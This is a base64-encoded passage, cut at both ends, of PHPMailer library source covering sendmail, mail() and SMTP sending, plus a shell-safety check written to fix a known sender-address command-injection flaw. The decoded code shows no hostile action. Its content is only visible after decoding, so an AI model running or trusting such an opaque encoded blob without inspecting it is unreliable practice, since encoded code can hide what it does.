T5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJykgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogSWYgcG9zc2libGUsIHRoaXMgc2hvdWxkIGJlIGNoYW5nZWQgdG8gZXNjYXBlc2hlbGxhcmcuICBOZWVkcyB0aG9yb3VnaCB0ZXN0aW5nLgogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsKCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKAogICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+YmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICR0aGlzLT5Gcm9tCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIE5vdGUgdGhhdCBlc2NhcGVzaGVsbGFyZyBhbmQgZXNjYXBlc2hlbGxjbWQgYXJlIGluYWRlcXVhdGUgZm9yIG91ciBwdXJwb3NlcywgZXNwZWNpYWxseSBvbiBXaW5kb3dzLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkCiAgICAgKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL2lzc3Vlcy85MjQgQ1ZFLTIwMTYtMTAwNDUgYnVnIHJlcG9ydAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpCiAgICB7CiAgICAgICAgLy8gRnV0dXJlLXByb29mCiAgICAgICAgaWYgKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpICE9PSAkc3RyaW5nCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRzdHJpbmcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRjID0gJHN0cmluZ1skaV07CgogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICAkcGFyYW1zID0gbnVsbDsKICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXIKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICFpbmlfZ2V0KCdzYWZlX21vZGUnKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAkb2xkX2Zyb20gPSBpbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGZhbHNlOwogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiAxKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b0FyciBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvbSkpIHsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICRvbGRfZnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmICghJHJlc3VsdCkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdmlhIFNNVFAuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4KICAgICAqIFVzZXMgdGhlIFBIUE1haWxlclNNVFAgY2xhc3MgYnkgZGVmYXVsdC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpnZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc210cFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5Gcm9tOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKSkpOwogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5FcnJvckluZm8sIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXR0ZW1wdCB0byBzZW5kIHRvIGFsbCByZWNpcGllbnRzCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo\/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHN